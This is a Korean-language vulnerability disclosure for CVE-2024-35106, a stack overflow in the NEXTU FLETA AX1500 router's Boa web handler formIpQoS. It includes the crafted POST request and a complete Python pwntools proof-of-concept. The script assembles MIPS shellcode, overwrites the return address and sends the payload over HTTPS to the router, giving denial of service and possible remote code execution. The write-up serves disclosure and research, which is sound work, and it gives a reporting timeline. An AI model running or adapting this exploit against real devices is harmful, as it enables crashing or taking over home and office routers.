
CVE-2024-35106에 대한 개념 증명 익스플로잇, NEXTU FLETA AX1500 Wi-Fi 6 라우터의 스택 버퍼 오버플로우입니다. Boa 웹 서버의 IP QoS 핸들러에 조작된 POST 요청을 통해 서비스 거부 및 잠재적 원격 코드 실행을 시연합니다.
이 문서는 CVE-2024-35106 취약점을 통해 EZNET FLETA WiFi 라우터에서 익스플로잇이 수행된 방법을 설명합니다.
[CVE ID] CVE-2024-35106
[제품 공급업체] NEXTU
[제품] FLATA AX1500 Wifi6 라우터
[버전] 1.0.3
[취약점 유형] 버퍼 오버플로우
라우터는 Realtek 칩셋 기반 MIPS 아키텍처에서 리틀 엔디언으로 동작합니다.
라우터 펌웨어 버전은 v1.0.3입니다.
이 라우터는 2005년에 마지막 릴리스가 이루어진 임베디드 웹 서버 Boa를 사용합니다. 하지만 이 라우터는 라우터 펌웨어를 제어하는 관리 웹 페이지 서비스를 위해 Boa 웹 서버를 활용합니다.
취약점을 트리거하는 데 필요한 조건은 다음과 같습니다.
라우터 관리 웹 페이지에서 내부 IP에 대해 QoS를 설정할 때 IP QoS 규칙 이름의 바이트 길이를 검증하지 않아 스택 버퍼 오버플로우가 발생합니다.
IP QoS 구성 요청 매개변수가 Boa의 핸들러 함수 formIpQoS로 전달되면, 핸들러는 "entry_name" 매개변수의 바이트 길이를 추출하여 strcpy() 함수를 통해 acStack_1c0 변수에 복사합니다.

해당 함수에서 strcpy 함수는 버퍼 크기를 확인하지 않고 버퍼를 복사하는 데 사용됩니다.

복사된 entry_name 매개변수의 바이너리를 저장하는 변수 acStack_1c0이 16바이트로 고정되어 있기 때문에, 복사되는 데이터의 크기를 제한하지 않는 strcpy() 함수를 사용하면 버퍼 오버플로우가 발생합니다.


공격 벡터의 POST 요청 및 매개변수는 다음과 같습니다.
POST /boafrm/formIpQoS
BODY
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[ADD ARBITRARY CODE AREA]
공격자는 임의 바이너리 코드와 임의 주소라는 두 가지를 포함하는 바이너리를 준비하여 POST 요청의 entry_name 매개변수에 설정합니다.
따라서 formIpQoS 핸들러 스택 주소 메모리에 있는 RET 주소가 스택 오버플로우로 인해 임의 주소로 덮어쓰여집니다.
(0x7f8548cc는 formIpQoS 핸들러의 스택 RET 주소)
그러나 핸들러 함수가 정상적으로 실행을 완료해야 하므로 10개의 IP QoS 규칙 집합이 미리 저장되어 있어야 합니다.

from pwn import *
from hackebds import *
def shutdown_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["autoreboot"]
asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
power_off_code = shutdown_shell_code()
gap_code = (b'A') * 0x138
# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')
stack_gap = (b'C') * 0x40
print("power_off_code_length")
print(len(power_off_code))
final_code = power_off_code + gap_code + RET_address + stack_gap
import socket
import ssl
# Server Address and Port
HOST = '192.168.1.254'
PORT = 443
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
# parameter for evade verification
send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code
# POST request headers
headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
# Send request (combine headers and body)
ssock.send(headers + send_byte)
# Receive response
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
#Print response
print(response.decode('utf-8'))
이 취약점에 대한 POC를 실행하면 확실히 DOS가 발생합니다. 그러나 임의 코드 실행은 발생하지 않을 수 있습니다.
이 취약점은 DOS 공격 및 잠재적 RCE 공격에 악용될 수 있습니다.
2024-05-16: CVE 번호 할당 - CVE-2024-35106
2024-05-16: 제조사에 취약점 보고
2024-06-05: 제조사로부터 취약점에 대한 응답
Ku In Hoe
정성훈 조교수 (숙명여자대학교)